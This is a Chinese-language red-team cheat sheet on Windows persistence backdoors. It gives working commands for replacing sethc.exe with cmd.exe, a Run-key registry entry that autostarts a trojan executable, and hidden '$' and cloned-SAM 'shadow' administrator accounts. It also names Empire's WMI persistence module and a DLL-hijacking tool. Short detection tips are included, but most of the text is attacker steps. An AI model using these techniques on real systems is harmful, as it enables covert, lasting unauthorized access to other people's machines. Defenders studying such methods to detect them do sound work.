权限维持-Windows后门
Schtasks后门
Schtasks.exe能够在本地或远程计算机上创建,删除,查询,更改,运行和结束计划任务
不带参数运行Schtasks.exe会显示每个已注册任务的状态和下一次运行时间。
wmi后门
WMI后门使用了WMI的两个特征:无文件和无进程(需要管理员权限运行)
原理是将代码加密存储于WMI中,即无文件;调用PowerShell执行后门程序,执行后进程消失,即无进程。
在Empire中使用Invoke-WMI模块
usemodule powershell/persistence/elevated/wmi #设置参数run
检查后门:
使用微软提供的工具Autoruns:
https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
DLL劫持后门
DLL劫持原理就是使用 loadlibrary 动态加载DLL
DLL劫持工具:SuperDllHijack
映像劫持shift后门(系统管理员权限)
#替换sethc.exe为cmd.exe,连按5下Shift弹出cmd窗口
cd C:\windows\system32
cacls sethc.exe /t /e /G Administrators:f
cacls cmd.exe /t /e /G Administrators:f
ren sethc.exe aaa.exe
ren cmd.exe sethc.exe
#恢复
ren sethc.exe cmd.exe
ren aaa.exe sethc.exe
检查后门:连续按5下弹出cmd窗口(当然还有其它放大镜讲述人等)
木马加入开机启动项
#使用注册表
reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SunRAC /t reg_sz /d "C:\Users\Public\Videos\msservice.exe"
添加影子账户
自动化工具:wgpsec/一个使用注册表创建隐藏帐户的工具
CreateHiddenAccount.exe -u teamssix -p Passw0rd
以下是手动步骤(原理还是要了解的)
net user admins$ @admin.886 /add
net localgroup administrators admins$ /add
# '$'符添加时,只是在 net user 中无法查看到当前用户
# 而在 net localgroup administrators 中是可以看到的
1)权限设置
打开注册表regedit 找到以下键值 HKEY_LOCAL_MACHINE\SAM\SAM
右键 SAM 赋予Administrators 完全控制和读取权限,保存后刷新(重新打开注册表)
2)导出导入
进入到以下键值 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
找到添加的用户,还有对应的类型 0x3eb -->>000003EB,都进行导出。
以上两个文件夹都导出之后,将添加的用户删除掉,然后刷新;
net user admins$ /del
[+] 然后导入刚刚导出的两个*.reg文件。
4)设置"影子"
找到一个能够正常远程登入的用户,复制它的 F 值,放入到我们添加用户的对应 F 值里面
RDP连接上去后,就是我们复制 F 值的那个账户的权限
5)如何防御?
1、对于用”$”添加的用户,产看用户组成员
net localgroup administrators
2、修改注册表类型的隐藏手段,访问注册表
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names